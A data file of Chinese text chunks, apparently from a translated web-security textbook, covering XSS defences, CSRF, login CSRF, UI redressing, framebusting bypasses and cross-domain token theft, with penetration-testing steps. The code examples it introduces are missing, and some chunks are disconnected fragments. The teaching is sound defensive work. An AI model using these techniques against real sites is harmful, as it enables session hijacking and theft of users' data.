    {"text": "例如，如果将用户输入插入到事件处理器中的引用JavaScript字符串中，应使用反斜线正确转义用户输入中的任何引号或反斜线，并且HTML编码应包括&和；"},
    {"text": "例如，如果数据被插入到一个双引号引用的字符串中，应用程序可能只编码\"字符； 如果数据被插入到一个没有引号的标签中，应用程序只会编码>字符。"},
    {"text": "一种更加可靠的方法是，无论数据插入到什么地方，始终对攻击者可能使用的每一个字符进行HTML编码。 为尽可能地确保安全，开发者可能会选择HTML编码每一个非字母数字字符，包括空白符。"},
    {"text": "如果攻击者通过插入一个相关指令，或者因为应用程序使用一个请求参数指定首选的字符集，因而能够控制应用程序响应的编码类型，那么这些情况也应该加以避免。"},
    {"text": "在这种情况下，在其他方面经过精心设计的输入与输出过滤可能就会失效，因为攻击者的输入进行了不常见的编码，以致上述过滤并不将其视为恶意输入。"},
    {"text": "例如： 4．允许有限的HTML 一些应用程序需要允许用户以HTML格式提交即将插入到应用程序响应中的数据。 例如，博客应用程序可能需要允许用户使用HTML撰写博客、对博客使用格式、嵌入链接或图像等。"},
    {"text": "例如，如果应用程序允许使用<b>和<i>标签，但并不限制与这些标签一起使用的属性，则攻击者可以实施以下攻击： 此外，如果应用程序允许使用看似安全的<a>标签和href属性的组合，则攻击者可以实施以下攻击： 有各种框架（如OWASP AntiSamy项目）可用于确认用户提交的HTML标记，以确保其中不包含任何执行JavaScript的方法。"},
    {"text": "12.4.2 防止基于DOM的XSS漏洞 很明显，迄今为止，我们描述的防御机制并不能防止基于DOM的XSS漏洞，因为造成这种漏洞并不需要将用户可控制的数据复制到服务器响应中。"},
    {"text": "如果无法避免地要以这种方式使用客户端脚本，我们可以通过两种防御方法防止基于DOM的XSS漏洞，它们分别与前面描述的防止反射型XSS漏洞时使用的输入与输出确认相对应。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 12.5 小结 在这一章中，我们讨论了各种可能导致XSS漏洞的情形，以及一些可用于避开基于过滤的常用防御机制的方法。由于XSS漏洞极为常见，因此，测试员能够轻易在应用程序中发现可供利用的漏洞。但是，如果实施的各种防御机制迫使测试员设计出高度自定义的输入，或者利用HTML、JavaScript或VBScript的某些鲜为人知的特性来实施成功的攻击，这时，XSS将会更加引人关注（至少从研究角度看的确如此）。 下一章将以此为基础，并进一步讨论大量导致用户遭受恶意攻击的服务器端Web应用程序漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 12.6 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）在应用程序的行为中，有什么“明显特征”可用于确定大多数XSS漏洞？ （2）假设在应用程序未通过验证的功能区域发现了一个反射型XSS漏洞。如何利用这个漏洞攻破一个通过验证的应用程序会话？请想出两种不同的方法。 （3）假设一个cookie参数未经过任何过滤或净化就被复制到应用程序的响应中。是否可以利用这种行为在返回的页面中注入任意JavaScript？是否可以利用这种行为实施攻击其他用户的XSS攻击？ （4）假设在仅返回给自己的数据中发现了保存型XSS漏洞。这种行为是否存在安全缺陷？ （5）在一个处理文件附件并在浏览器中显示这些内容的Web邮件应用程序中，可以立即确定哪种常见的漏洞？ （6）浏览器的同源策略如何给Ajax技术XMLHttpRequest的应用造成影响？ （7）列举3个利用XSS漏洞的可行攻击有效载荷（也就是说，攻击者可以在其他用户的浏览器中执行的恶意操作而不是传送攻击的方法）。 （8）已知一个反射型XSS漏洞，可以在返回页面的HTML代码的某个位置注入任意数据。插入的数据被截短至50字节，但是我们希望注入一个超长的脚本，并且不想调用外部服务器上的脚本。如何解决长度限制呢？ （9）在一个必须使用POST方法的请求中发现一个反射型XSS漏洞。攻击者可以使用哪种传送机制实施攻击？ 黑客攻防技术宝典：Web实战篇（第2版） 第13章 攻击用户：其他技巧 在 前一章中，我们介绍了针对其他应用程序用户的主要攻击——跨站点脚本（XSS）。在这一章中，我们将介绍一系列针对用户的其他攻击。其中的一些攻击与XSS攻击具有很大的相似性。许多时候，这些攻击比XSS更加复杂，或者隐藏性更强，因此，在单纯的XSS攻击无法奏效的情况下，它们往往能够取得成功。 针对其他应用程序用户的攻击形式各异，它们之间的微妙之处与细微差别常常被人们忽略。通常，与主要的服务器端攻击相比，人们对它们也知之甚少，即使经验丰富的渗透测试员也会混淆或忽略各种不同的漏洞。我们将在本章中介绍各种常见的漏洞，并说明确认并利用这些漏洞所需采取的步骤。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 13.1 诱使用户执行操作 在上一章中，我们介绍了如何利用XSS攻击诱使用户在不知情的情况下在应用程序中执行操作。如果受害用户拥有管理权限，使用这种技巧就可以迅速完全侵入应用程序。在这一节中，我们将介绍另外一些可用于诱使其他用户执行操作的方法。这些方法甚至可以用在已防范XSS攻击的应用程序中。 13.1.1 请求伪造 这种类型的攻击也称为会话叠置（session riding），它们与会话劫持攻击密切相关，在攻击过程中，攻击者截获一名用户的会话令牌，因而能够“作为”该用户使用应用程序。但是，通过请求伪造，攻击者根本不需要知道受害者的会话令牌。相反，攻击者利用Web浏览器的正常行为劫持用户的令牌，并通过它提出用户并不打算提出的请求。 请求伪造漏洞分为两种类型：本站点和跨站点。 1．本站点请求伪造 本站点请求伪造（On-Site Request Forgery，OSRF）是一种利用保存型XSS漏洞的常见攻击有效载荷。在上一章介绍的MySpace蠕虫示例中，一位名叫Samy的用户在自己的用户资料中插入一段脚本，致使任何查看其资料的用户在不知情的情况下执行各种操作。另外，即使在XSS漏洞并不存在的地方，保存型OSRF漏洞仍有可能存在，这点常被人们忽视。 以消息公告牌应用程序为例，它允许用户提交可被其他用户查看的数据。该应用程序使用以下请求提交消息： 这个请求将以下内容添加到消息页面中： 在这种情况下，测试员当然会测试其中是否存在XSS漏洞。但是，假设应用程序对插入页面中的任何“、<和>字符进行了正确地HTML编码。如果对这种防御方法感到满意，觉得攻击者无论如何也无法避开它，测试员就会继续进行下一步测试。 但是，稍等。我们控制的仅仅是<img>标签目标的一部分内容。虽然我们无法破坏引用字符串，但是可以修改URL，使得查看消息的任何用户提出任意一个本站点GET请求。例如，在type参数中提交下面的值将会使任何查看消息的用户提出一个尝试创建新的管理用户的请求： 如果一名普通用户被诱使提出攻击者专门设计的请求，攻击当然不会成功。但是，如果管理员查看消息，攻击者就可以建立一个秘密账户。上面的示例证明，即使无法实施XSS攻击，但攻击者仍然能够成功执行OSRF攻击。当然，即使管理员采取了防范措施，禁用了JavaScript，攻击依然能够成功。 注意，在前面的攻击字符串中，#符终止了.gif后缀前面的URL。但是，只需在后缀前插入一个&，构成另外一个请求参数，即可解决以上问题。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 在以下示例中，可以将OSRF有效载荷放在最近的搜索列表中，即使其并不易于受到XSS攻击： http://mdsec.net/search/77/"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）如果一名用户提交的数据在某个位置显示给其他用户，但测试员仍然无法实施保存型XSS攻击，那么在每个这样的位置，检查应用程序的行为是否使得它易于受到OSRF攻击。 （2）用户提交的数据被插入到超链接目标或返回页面中的其他URL等位置时往往会出现漏洞。除非应用程序特别阻止要求的任何字符（通常包括点、斜线及查询字符串中的分隔符）， 否则它肯定易于受到攻击。 （3）如果发现OSRF漏洞，则应寻找一个适当的请求作为利用目标，如下一节“跨站点请求伪造”所述。 在将其合并到响应中之前，尽可能严格地确认用户提交的输入，即可防止OSRF漏洞。例如，在前面的示例中，应用程序可能会检查type参数中是否有一组值中的某一个特殊的值。如果应用程序必须接受无法预料的其他值，那么应阻止任何包含/ . \\ ? &与 = 的请求。 注意，对这些字符进行HTML编码并不能有效防止OSRF攻击，因为浏览器在请求目标URL字符串之前，会首先对其进行解码。 根据插入点与周围环境的不同，使用与下一节描述的防止CSRF攻击时使用的同种防御方法，也可以防止OSRF攻击。 2．跨站点请求伪造 在跨站点请求伪造（CSRF）攻击中，攻击者只需创建一个看似无害的网站，致使用户的浏览器直接向易受攻击的应用程序提交一个请求，执行某种有利于攻击者的“无意”操作。 如前所述，同源策略并不阻止一个网站向另一个域提出请求。但是，它确实阻止提出请求的网站处理跨域请求的响应。因此，正常情况下，CSRF攻击只是一种“单向”攻击。所以，在纯粹的CSRF攻击中，要想实施如Samy XSS蠕虫中的多阶段操作，从响应中读取数据并将其合并到随后的请求中，将很难实现。（我们将在本章后面部分介绍如何对利用CSRF技巧的某些方法进行扩展，以执行有限的双向攻击，跨域获取数据。） 以某个允许管理员使用以下请求创建新用户账户的应用程序为例： 此请求有3个主要特点导致它易于受到CSRF攻击。 该请求执行特权操作。在上述示例中，该请求使用管理员权限创建了一个新用户。 应用程序仅仅依靠HTTP cookie来追踪会话。请求中的任何其他位置均未传送会话相关的令牌。 攻击者可以确定执行操作所需的所有参数。除cookie中的会话令牌外，请求中不需要包含任何无法预测的值。 针对这些特点表现出的缺陷，攻击者可以构建一个Web页面，向易受攻击的应用程序提出一个跨域请求，在其中包含执行特权操作所需的所有步骤。以下为这种攻击的一个示例： 该攻击将所有请求参数放入隐藏表单字段中，并包含一段用于自动提交表单的脚本。用户的浏览器提交此表单时，将自动添加用户的目标域的cookie，并且应用程序会正常处理生成的请求。如果管理用户登录到易受攻击的应用程序，并访问攻击者的包含此表单的Web页面，该请求将在管理员的会话中处理，攻击者的账户因此得以创建。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/390/ 2004年，Dave Armstrong在eBay应用程序中发现了一个典型CSRF漏洞。攻击者可以设计一个URL，使得请求这个URL的用户对某个拍卖品给出任意标价。某个第三方网站可以诱使访问者请求这个URL，以致于任何访问这个网站的eBay用户都会报出一个标价。而且，进行调整后，我们还可以在同一eBay应用程序的一个保存型OSRF攻击中利用这个漏洞。应用程序允许用户在拍卖品描述中插入<img>标签。为防止攻击，应用程序确认标签目标返回了真正的图像文件。但是，攻击者也可以在上述位置插入一个指向站外服务器的链接（它在创建拍卖品时返回一幅合法的图像），并随后用一个返回他专门设计的CSRF URL的HTTP重定向代替这个链接。因此，任何查看拍卖品的用户都会在不知情的情况下给出一个标价。欲知攻击详情，请查阅最初在Bugtraq上发表的文章： http://archive.cert.uni-stuttgart.de/bugtraq/2005/04/msg00279.html 注解 应用程序确认站外图像方面的漏洞称为“检查时间，使用时间”（TOCTOU）漏洞。因为某个数据在一个时间确认，却在另一个时间使用，导致攻击者能够在这两个时间的间隔内修改该数据的值。 利用CSRF漏洞 CSRF漏洞主要出现在应用程序仅依赖HTTP cookie追踪会话令牌的情况下。一旦应用程序已 经在用户的浏览器中设定了cookie，浏览器会自动在随后的每个请求中将这个cookie提交给应用程序。无论请求是源自某个链接、应用程序本身中的表单或任何其他地方（如外部网站或在电子邮件中单击的链接），它都会这样做。如果应用程序未采取防范措施来阻止攻击者以这种方式“叠置”它的用户的会话，它就易于受到CSRF攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）根据在应用程序解析过程中得到的结果（请参阅第4章了解相关内容），检查应用程序的关键功能。 （2）找到一项可用于代表不知情的用户执行某种敏感操作的应用程序功能，该功能仅依赖cookie来追踪用户会话，并且使用攻击者能够提前决定的请求参数，也就是说，其中并不包含任何会话令牌或其他无法预测的数据。 （3）创建一个HTML页面，它不需要进行任何用户交互即可提出所需请求。对于GET请求，可以使用<img>标签，并通过src参数设置易受攻击的URL。对于POST请求，可以建立一个表单，其中包含实施攻击所需全部相关参数的隐藏字段，并将其目标设置为易受攻击的URL。可以使用JavaScript在页面加载时自动提交该表单。 （4）登录应用程序后，使用同一个浏览器加载专门设计的HTML页面。确认应用程序是否执行所需操作。 提示 由于引入了其他攻击向量，CSRF攻击的可能性改变了许多其他类型的漏洞的影响范围。例如，如果某项管理功能接受参数中的用户标识符，然后显示与指定用户有关的信息。该功能受到严格的访问控制，但它的uid参数中包含SQL注入漏洞。由于应用程序管理员为可信用户，并且在任何情况下都能够完全控制数据库，因此，这种SQL注入漏洞被认为风险较低。但是，由于该功能并不执行任何管理操作（根据最初的设计），因此其并未采取防范CSRF的措施。从攻击者的角度看，该功能与专门供管理员执行任意SQL查询的功能一样重要。如果可以注入一个执行某种敏感操作，或通过带外通道检索数据的查询，那么即使是非管理用户也可以通过CSRF实施这种攻击。 验证与CSRF 由于实施CSRF攻击需要在受害用户的会话中执行某种特权操作，因此，在实施攻击时，用户需要登录到应用程序。 一个存在大量危险的CSRF漏洞的位置，是家庭DSL路由器使用的Web界面。这些设备大多包含敏感功能，如打开面向互联网的防火墙上的所有端口。由于这些功能通常并未采取防范CSRF的措施，并且多数用户也没有修改设备的默认内部IP地址，因此，它们易于受到由恶意外部站点传送的CSRF攻击。但是，相关设备通常需要进行验证才能执行敏感操作，而且许多用户并未登录他们的设备。 如果设备的Web界面使用基于表单的验证，则可以通过首先使用户登录设备，然后执行经过验证的操作，从而实施两步攻击。由于大多数用户并未修改这类设备的默认证书（可能认为该Web界面只能通过内部家庭网络访问），因此，攻击者的网页可以首先提出包含默认证书的登录请求。然后，设备会在用户的浏览器中设置一个会话令牌，随后的任何请求，包括由攻击者生成的请求，将自动传送该令牌。 在其他情况下，攻击者可能需要受害用户以攻击者自身的用户账户登录应用程序才能实施特定的攻击。以一个允许用户上传并存储文件的应用程序为例。这些文件随后可以进行下载，但只能由上传它们的用户下载。假设由于没有对文件内容进行过滤，该功能可用于实施保存型XSS攻击（请参阅第12章了解相关内容）。该漏洞似乎并不会造成任何伤害，因为攻击者只能用它来攻击自己。但实际上，通过使用CSRF技巧，攻击者可以利用保存型XSS漏洞来攻破其他用户。如上文所述，攻击者的网页可以提出一个CSRF请求，强制受害用户使用攻击者的证书登录。然后，攻击者的网页可以提出另一个CSRF请求，以下载某个恶意文件。用户的浏览器处理该文件时，攻击者的XSS有效载荷将会执行，用户在易受攻击的应用程序中的会话将被攻破。虽然受害者当前是使用攻击者的账户登录的，但是，攻击并未就此结束。如第12章所述，XSS有效载荷可以在用户的浏览器中持续存在，并执行任意操作，因而可以让用户注销其在易受攻击的应用程序中的会话，并诱使其使用自己的证书登录。 防止CSRF漏洞 由于浏览器自动在随后的每个请求中将cookie返回给发布cookie的Web服务器，CSRF漏洞因此产生。如果某个Web应用程序主要依赖HTTP cookie传送会话令牌，那么它本身就易于受到这种攻击。 防范CSRF攻击的标准方法，是将HTTP cookie与其他追踪令牌的方法相结合。这类方法通常采用其他通过HTTP隐藏表单字段传输的令牌。在每次提交请求时，应用程序除确认会话cookie外，还核实表单是否传送了正确的令牌。如果攻击者无法确定该令牌的值，就无法构建跨域请求，也就无法执行所需的操作。 注解 本章后面部分将介绍，即使使用CSRF令牌受到可靠保护的功能也可能易于受到用户界面（UI）伪装攻击。 以这种方式使用反CSRF令牌时，必须为这些令牌提供与正常的会话令牌相同的保护。如果攻击者能够预测发布给其他用户的令牌值，他就能够确定提出CSRF请求所需的所有参数，因而仍然能够实施攻击。此外，如果反CSRF令牌未与所属用户的会话相关联，攻击者就可以在自己的会话中获得一个有效令牌，并将此令牌用在针对其他用户的会话的CSRF攻击中。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/395/ http://mdsec.net/auth/404/ 警告 一些应用程序使用相对较短的反CSRF令牌，可能因为认为这些令牌不会像较短的会话令牌一样受到蛮力攻击。任何向应用程序传送大量可能值的攻击都需要通过受害者的浏览器传送这些值，包括提交大量可能被轻易察觉的请求。此外，如果收到太多无效的反CSRF令牌，应用程序可能会防御性地终止用户的会话，从而阻止相关攻击。但是，这种防御忽略了纯粹在客户端实施的蛮力攻击，而不向服务器发送任何请求的可能性。在某些情况下，可以通过使用基于CSS的技巧来枚举用户的浏览历史记录，从而实施这种攻击。要想成功实施这类攻击，必须满足以下两个条件： 应用程序必须某些时候在URL查询字符串中传输CSRF令牌。这种情况经常发生，因为许多受保护的功能通过目标URL中包含令牌的简单超链接即可访问。 应用程序必须在整个用户会话中使用相同的反CSRF令牌，或者允许多次使用同一个令牌。这种情况也经常发生，一方面是为了改善用户的使用体验，另一方面是为了便于使用浏览器的“后退”和“前进”按钮。 如果满足这些条件，并且目标用户已访问某个包含反CSRF令牌的URL，攻击者就可以从自己的页面实施蛮力攻击。这时，攻击者页面上的一段脚本将动态创建指向目标应用程序上的相关URL的超链接，同时在每个链接中包括一个不同的反CSRF令牌值。然后，该脚本使用JavaScript API getComputedStyle测试用户是否访问了上述链接。确定某个被访问的链接后，即可发现一个有效的反CSRF令牌，然后，攻击者的页面将其用于代表用户执行敏感操作。 需要注意的是，要防范CSRF攻击，仅仅使用多阶段过程执行敏感操作并不够。例如，管理员在添加新用户账户时，他可能会在第一阶段输入相关信息，然后在第二阶段检查并确认这些信息。如果未使用其他反CSRF令牌，该功能将仍然易于受到CSRF攻击，因为攻击者只需要轮流提交两个所需的请求，或者直接提交第二个请求（极为常见）。 少数情况下，应用程序功能会采用另一个令牌；它在一个响应中设置该令牌，然后在接下来的请求中提交该令牌。但是，在这两个阶段之间转换需要进行重定向，因此应用程序采用的防御机制可能会失效。虽然CSRF属于单向攻击，并且无法从应用程序的响应中读取令牌，但如果CSRF响应包含重定向，而且该重定向指向其他包含令牌的URL，受害者的浏览器将自动访问该重定向，并自动在提出的请求中提交令牌。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/398/ 不要犯下错误，依靠HTTP Referer消息头来指示请求是源自站内还是站外。"},
    {"text": "这时，问题并不在于注入的脚本是否能够读取应用程序响应中的任何令牌（当然它能），而在于如何首先将脚本注入到某个包含那些令牌的响应中。"},
    {"text": "通常，在下面几种情况下，我们可以利用XSS漏洞突破反CSRF防御。 如果受保护的功能中存在任何XSS漏洞，那么攻击者总可以利用这些漏洞突破反CSRF防御。"},
    {"text": "如果应用程序仅对一部分通过验证的功能实施反CSRF防御，并且某项未防御CSRF的功能中存在一个反射型XSS漏洞，那么攻击者就可以利用这个漏洞来突破反CSRF防御。 例如，如果应用程序仅采用反CSRF令牌保护转账功能的第二个步骤，那么攻击者就可以利用反射型XSS攻击从其他步骤中突破防御。"},
    {"text": "首先，攻击者使用自己的账户登录，获得一个与他的用户身份关联的有效反CSRF令牌。 然后，攻击者对登录表单发动CSRF攻击，迫使受害用户使用他的证书登录，如上文介绍利用相同用户的保存型XSS漏洞时所述。 一旦用户作为攻击者登录，攻击者将使用CSRF使用户提出相关请求，对XSS漏洞加以利用，同时使用他此前获得的反CSRF令牌。"},
    {"text": "由于用户仍然作为攻击者登录，XSS有效载荷可能需要使用户注销，然后诱使用户再次登录，最终，用户的登录证书和生成的应用程序会话都被完全攻破。"},
    {"text": "如果反CSRF令牌未与用户关联，而是与当前会话关联，且攻击者可以通过某种方法在用户的浏览器中注入cookie，则只需对以上攻击稍作修改即可（本章后面部分将介绍这种攻击）。 这时，攻击者不是使用自己的证书针对登录表单实施CSRF攻击，而可以直接向用 户传送他当前的会话令牌及与该会话关联的反CSRF令牌。"},
    {"text": "除这些情形外，在许多时候，针对CSRF攻击的有效防御能够在很大程度上阻止（即使不能完全阻止）攻击者利用某些反射型XSS漏洞。 但是，在任何情况下，无论我们采取了何种反CSRF防御来阻止攻击者试图利用XSS条件，我们都应始终修复应用程序中存在的任何这类XSS条件。"},
    {"text": "13.1.2 UI伪装 基本上，与页面中的令牌有关的反CSRF防御旨在确保请求是由应用程序中的用户操作本身提出的，而不是由某个第三方域诱发的。 即使采用了反CSRF令牌，第三方站点仍然可以通过UI伪装攻击诱使其他域中的用户执行操作。"},
    {"text": "而实际上，攻击者会用其他界面覆盖目标应用程序的界面。 攻击者的界面中包含吸引用户并诱使其执行各种操作（如在页面的特定区域单击鼠标）的内容。 用户执行这些操作时，虽然看起来其单击的是攻击者的界面中显示的按钮和其他UI元素，但他实际上是在不知情的情况下与攻击者所针对的应用程序进行交互。"},
    {"text": "图13-1 基本的UI伪装攻击 这种攻击之所以能够在纯粹的CSRF攻击无法奏效的情况下取得成功，是因为应用程序使用的反CSRF令牌以正常方式得到处理。"},
    {"text": "虽然由于同源策略的原因，攻击者的页面无法读取该令牌的值，但攻击者的iframe中的表单包含了由应用程序生成的令牌，在受害用户不知情的情况下单击“确认”按钮时，这个令牌被返交给应用程序。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/405/ 如果进一步扩展上述基本攻击，攻击者可以在其界面中使用复杂的脚本代码，以诱使受害用户执行更加复杂的操作，而不仅仅是单击按钮。比方说，要实施攻击，需要诱使用户在输入字段（如转账页面的“金额”字段）中输入一些文本。在这种情况下，攻击者可以在其用户界面中包含一些诱使用户输入文本的内容，如用于输入电话号码以赢得奖励的表单。然后，攻击者的页面中的脚本可以对进行键击选择性处理，在用户输入相关字符时，将键击操作有效传递到目标界面，从而填写所需的输入字段。如果用户输入攻击者不希望在目标界面中输入的字符，该键击将不会传递给目标界面，攻击者的脚本将等待下一次键击。 另外，攻击者的页面中可以包含诱使用户执行拖动鼠标操作（就像玩简单的游戏一样）的内容。随后，在攻击者的页面中运行的脚本将选择性地处理生成的操作，使用户在不知情的情况下选择目标应用程序界面中的文本，并将其拖动到攻击者的界面中的输入字段中（或相反）。例如，在针对Web邮件应用程序实施攻击时，攻击者可以诱使用户将电子邮件中的文本拖动到其能够读取的输入字段中。或者，攻击者可以诱使用户建立某种规则，向某转发所有电子邮件，并将所需电子邮件地址从攻击者的界面拖动到定义该规则的表单的相关输入字段中。此外，由于链接和图像均可以作为URL进行拖动，攻击者甚至可以通过诱发拖动操作从目标应用程序的界面中拦截敏感URL，包括反CSRF令牌。 有关这些和其他攻击向量，及其实施方法的详细说明，请参阅以下文档： http://ui-redressing.mniemietz.de/uiRedressing.pdf 1．“破坏框架”防御 在UI伪装攻击最初受到广泛关注时，许多知名的Web应用程序寻求采用一种称为破坏框架（framebusting）的技术来防范这类攻击。在某些情况下，这种技术已用于防范其他基于框架的攻击。 破坏框架可以表现为各种形式，但基本上，它是指每个相关的应用程序页面都会运行一段脚本来检测自己是否被加载到iframe中。如果是，应用程序会尝试“破坏”该iframe，或执行其他防御性操作，如重定向到错误页面或拒绝显示应用程序自己的界面。 斯坦福大学2010年的一项研究表明，排名前500的网站均采用了“破坏框架”防御技术。同时，这项研究还发现，这些防御都可以通过某种方式突破。突破这种防御的方法因每种防御的实施细节而异，下面我们通过一段“破坏框架”示例代码来加以说明： 这段代码检查页面本身的URL与浏览器窗口中的顶部框架的URL是否匹配。如果不匹配，则说明页面已加载到子框架内。在这种情况下，脚本会尝试将页面重新加载到窗口内的顶层框架中，从而“逃离”该框架。 实施UI伪装攻击的攻击者可以通过各种方式避开这种防御，将目标页面成功嵌入框架。 由于攻击者的页面控制着顶层框架，因而可以重新定义top.location的含义，在子框架尝试引用它时导致异常。例如，攻击者可以在Internet Explorer中运行以下代码： 这段代码将location重新定义为顶层框架中的本地变量，在子框架中运行的代码无法访问该变量。 顶层框架可能会钩住window.onbeforeunload事件，从而在“破坏框架”代码尝试设置顶层框架的位置时运行攻击者的事件处理程序。这时，攻击者的代码可以对返回HTTP 204（无内容）响应的URL执行进一步的重定向。这会导致浏览器取消重定向调用链，使顶层框架的URL保持不变。 顶层框架可以在将目标应用程序加载到子框架中时定义sandbox属性。这会在子框架中禁用脚本，同时将其cookie保持为启用状态。 如第12章所述，顶层框架可以利用IE XSS过滤器在子框架中选择性的禁用“破坏框架”脚本。当攻击者的页面指定iframe目标的URL时，可以创建一个新参数，在参数值中包含一段适当的“破坏框架”脚本。IE XSS过滤器将标识该参数值及目标应用程序返回的响应中的脚本代码，并禁用响应中的脚本，设法为用户提供保护。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/406/ 2．防止UI伪装 目前，业界普遍认为，虽然一些类型的“破坏框架”代码可以在一定程度上阻止UI伪装攻击，但绝不能将这种技术作为防范UI伪装攻击的万全之策。 要防止攻击者将应用程序页面嵌入框架，一种更加可靠的方法是使用X-Frame-Options响应消息头。该消息头由Internet Explorer 8引入，随后，许多其他流行的浏览器也开始采用这种方法。X-Frame-Options消息头可以接受两个值。值deny指示浏览器防止页面被嵌入框架，值sameorigin指示浏览器防止第三方域执行“嵌入框架”操作。 提示 在分析应用程序采用的任何反嵌入框架防御时，应始终检查适用于移动设备的界面的任何相关版本。例如，虽然wahh-app.com/chat/能够可靠地防范嵌入框架攻击，但wahh-app.com/mobile/chat/可能并不提供此类防御。在设计反嵌入框架防御时，应用程序开发者通常会忽略用户界面的移动版本，这可能是因为他们认为UI伪装攻击无法在移动设备上实施。但是，许多情况下，在使用标准（非移动）浏览器访问时，移动版本的应用程序仍然能够正常运行，并且用户会话可以在移动和非移动版本的应用程序之间共享。"},
    {"text": "通常，这些攻击会对目标应用程序某方面的功能及常见浏览器的某个功能加以综合利用，从而突破同源策略防御，实现跨域捕获数据的目的。 13.2.1 通过注入HTML捕获数据 与利用XSS漏洞不同，攻击者可以利用许多应用程序提供的功能，在其他用户收到的响应中注入一段有限的HTML。"},
    {"text": "例如，在Web邮件应用程序中，攻击者或许可以捕获私人电子邮件的内容。 或者，攻击者也许可以读取页面中使用的反CSRF令牌，从而实施CSRF攻击，将用户的电子邮件转发到任意地址。"},
    {"text": "以一个允许攻击者在以下响应中注入有限的HTML的Web邮件应用程序为例： 在注入点之后，页面包含了一个提供CSRF令牌的HTML表单。 在这种情况下，攻击者可以在上述响应中注入以下文本： 这段HTML将打开一个指向攻击者域中的URL的图像标签。"},
    {"text": "用户的浏览器处理攻击者注入的响应时，它会尝试提取指定的图像，并向以下URL提出请求，从而向攻击者的域中发送敏感的反CSRF令牌： 另一个攻击可以注入以下文本： 此攻击在应用程序本身使用的<form>标签之前注入一个指定攻击者域的<form>标签。"},
    {"text": "因此，如果用户提交表单，表单的所有参数，包括敏感的反CSRF令牌，将被提交到攻击者的服务器中： 由于上述第二个攻击仅注入了格式正常的HTML，因此能够更有效地避开那些旨在允许回显的输入中的HTML子集的过滤。"},
    {"text": "例如，在一个Web邮件应用程序中，攻击者可以通过电子邮件主题行在目标用户的响应中注入有限的文本。 在这种情况下，攻击者可以通过在应用程序中注入CSS来跨域捕获敏感数据。"},
    {"text": "在上述示例中，假设攻击者发送带以下主题行的电子邮件： 由于其中不包含任何HTML元字符，大多数用户都接受并在收件人用户的响应中显示这段代码。"},
    {"text": "例如，攻击者可以创建一个包含以下内容的页面： 此页面包含来自Web邮件应用程序的表示为样式表的相关URL，并运行脚本来查询font-family属性，该属性已在Web邮件应用程序的响应中定义。 然后，font-family属性的值，包括敏感的反CSRF令牌，将通过针对以下URL的、动态生成的请求传送到攻击者的服务器中： 此攻击可在当前版本的Internet Explorer上实施。"},
    {"text": "许多时候，要通过向服务器提供异步请求更新用户界面，一种快速有效的方法，是动态插入脚本代码，并在其中以某种形式包含需要显示的特定的用户数据。"},
    {"text": "当用户单击“个人资源”选项卡时，某段客户端代码将动态包含以下脚本： 针对此URL的响应包含一个函数回调，该函数在UI中显示用户个人资料。 在这种情况下，攻击者可以创建一个执行showUserInfo函数的页面，并在其中包含传送个人信息的脚本，从而捕获用户的个人资源。"},
    {"text": "一个简单的概念验证攻击如下所示： 如果用户在访问攻击者的页面的同时，还登录了某个易受攻击的应用程序，则攻击者的页面将动态插入包含用户个人信息的脚本。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/420/ 2．JSON 下面我们对上一个示例稍做修改，应用程序将不再在动态调用的脚本中执行函数回调，而是返回包含用户个人资料的JSON数组： 如第3章所述，JSON是一种灵活的数据表示形式，并且可以由JavaScript解释器直接处理。 在旧版本的Firefox中，攻击者可以执行一次跨域脚本包含攻击，通过覆盖JavaScript中的默认Array构造函数来捕获这些数据。例如： 此攻击修改默认的Array对象，并定义一个定制的setter函数（在为数组中的元素分配值时将调用该函数）。然后，它执行包含JSON数据的响应。JavaScript解释器将处理这些JSON数据，构造一个Array来保存它们的值，并对数组中的每个值调用攻击者定制的setter函数。 由于此类攻击已于2006年被发现，因而开发者已对Firefox进行了修改，以防止在数据初始化过程中调用定制的setter函数。此攻击无法在当前版本的浏览器中实施。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/409/ 要利用本示例，请下载2.0版本的Firefox。请从以下URL下载该版本的Firefox： www.oldapps.com/firefox.php?old_firefox=26 3．变量分配 以一个社交网络应用程序为例，该应用程序大量使用异步请求来执行各种操作，如更新状态、添加好友和发布评论。为提供快速无缝的用户体验，一部分用户界面使用动态生成的脚本加载。 为防止标准的CSRF攻击，这些脚本中包含了反CSRF令牌，以便在执行敏感操作时使用。利用在动态脚本中插入这些令牌导致的漏洞，攻击者可以通过跨域包含相关脚本来捕获令牌。 例如，假设wahh-network.com上的应用程序返回包含以下代码的脚本： 一个用于跨域捕获nonce值的简单概念验证攻击如下所示： 在另一个示例中，令牌的值在函数中进行分配： 这时，攻击者可以实施以下攻击： 针对不同的变量分配情形，攻击者可以采用各种其他技巧。在某些情况下，攻击者可能需要在一定程度上模仿目标应用程序的客户端逻辑，才能包含该程序的部分脚本并捕获敏感数据。 4．E4X 就在不久之前，E4X成为一个快速发展的领域，为应对在各种实际应用程序中发现的各种可利用条件，开发者一直在对浏览器进行更新。 E4X是对ECMAScript语言（包括JavaScript）的扩展，后者可为XML语言添加本地支持。目前，当前版本的Firefox浏览器已实施了E4X。尽管其中的漏洞已经修复，但Firefox在E4X的处理方式上仍存在漏洞，可用于跨域捕获数据。 除了允许在JavaScript中直接使用XML语法外，用户还可以在E4X嵌入代码，以调用XML中的JavaScript： E4X的这些特性导致了两个严重的后果，可用于实施跨域数据捕获攻击： 结构正确的XML标记将被视为不会分配给任何变量的值； 嵌入{…}块中的文本将作为JavaScript执行，用于对XML数据的相关部分进行初始化。 